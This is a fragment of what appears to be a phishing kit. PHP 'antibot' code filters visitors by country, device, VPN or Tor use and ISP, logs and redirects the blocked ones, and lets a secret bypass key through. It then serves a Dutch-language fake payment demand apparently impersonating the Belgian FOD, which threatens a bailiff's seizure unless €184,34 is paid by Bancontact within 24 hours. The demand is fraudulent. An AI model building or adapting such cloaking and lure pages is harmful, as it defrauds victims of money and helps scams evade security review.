$details['ip'] ?? '', 'isp' => $details['org'] ?? 'Unknown ISP', 'country' => $details['country'] ?? 'Unknown', 'vpn' => !empty($details['privacy']['vpn']), 'tor' => !empty($details['privacy']['tor']), 'country_flag' => "https://www.countryflags.io/" . strtolower($details['country'] ?? 'unknown') . "/shiny/64.png" ]; } return null; } // Function to log blocked access attempts function log_blocked_access($log_message) { $log_file = '/var/www/blocked.txt'; // Define the log file location $timestamp = date("Y-m-d H:i:s"); // Get the current timestamp $log_entry = "[$timestamp] $log_message\n"; // Prepare the log entry file_put_contents($log_file, $log_entry, FILE_APPEND | LOCK_EX); // Append to the log file } // Main antibot logic $client_ip = get_client_ip(); $ip_info = get_ip_info($client_ip); $client_country = $ip_info['country'] ?? null; $is_allowed_device = is_allowed_device(); $is_vpn_user = $ip_info['vpn'] ?? false; $is_tor_user = $ip_info['tor'] ?? false; // Check if the ISP contains any of the valid ISPs $is_valid_isp = false; foreach ($valid_isps as $valid_isp) { if (stripos($ip_info['isp'], $valid_isp) !== false) { $is_valid_isp = true; break; } } // Initialize a variable to check if access is granted $access_granted = false; // Check for bypass functionality if (isset($_GET['bypass']) && $_GET['bypass'] === '28198902918213928912') { // Allow access when bypass is present $access_granted = true; // Set access granted to true } // If not bypassing, perform the normal checks if (!$access_granted) { // Initialize a log message $log_message = "Access Denied - IP: " . ($ip_info['ip'] ?? 'Unknown') . "; ISP: " . ($ip_info['isp'] ?? 'Unknown ISP') . "; Country: " . ($client_country ?? 'Unknown'); // Determine the reason for blocking if ($client_country !== $allowed_country) { $log_message .= "; Reason: Blocked due to country restriction (expected: {$allowed_country}, got: {$client_country})"; } elseif (!$is_allowed_device) { $log_message .= "; Reason: Blocked due to unsupported device (user agent: {$_SERVER['HTTP_USER_AGENT']})"; } elseif ($is_vpn_user) { $log_message .= "; Reason: Blocked due to VPN usage"; } elseif ($is_tor_user) { $log_message .= "; Reason: Blocked due to Tor usage"; } elseif (!$is_valid_isp) { $log_message .= "; Reason: Blocked due to ISP not being recognized as valid home/mobile connection"; } // If any block condition is met, log the message and deny access if ($client_country !== $allowed_country || !$is_allowed_device || $is_vpn_user || $is_tor_user || !$is_valid_isp) { // Log the detailed reason to the log file log_blocked_access($log_message); // Log the detailed reason to Apache error log error_log($log_message); error_log("Country Flag URL: " . ($ip_info['country_flag'] ?? 'N/A')); // Redirect to /security/blocked.html header("Location: blocked.html"); exit(); } // If we reach here, that means we should block them // In case of blocking, we don't set access_granted to true } // If all checks are passed or if bypass is used, set access granted and prepare to display content $access_granted = true; // Display HTML content ?>
U heeft een nog openstaand bedrag met het kenmerk: 461/3048/53790 dat na meerdere herinneringen nog niet voldaan is. Op
zal de gerechtsdeurwaarder overgaan tot conservatoir beslag op uw inboedel. U kunt de beslagprocedure voorkomen door direct het volledige bedrag te voldoen via Bancontact.In het te betalen bedrag is geen invorderingsrente opgenomen. Het huidige rentepercentage op jaarbasis is 0,01%. Het te betalen bedrag en de eventuele invorderingsrente moeten binnen 24 uur na de dagtekening van deze aanmaning op de rekening van de FOD staan. Als u niet op tijd betaalt, zullen verdere invorderingsmaatregelen genomen worden.
| Omschrijving | Bedrag | Begunstigde | Totaal |
|---|---|---|---|
| Kenmerk: 461/3048/53790 | €184,34,- | FOD | €184,34,- |
| Totaal | €184,34,- |
LET OP!
Het te betalen bedrag en de eventuele invorderingsrente moeten binnen 24 uur na het dagtekening van deze aanmaning op de rekening van de FOD staan.
Als u niet op tijd betaalt, zullen verdere invorderingsmaatregelen worden genomen.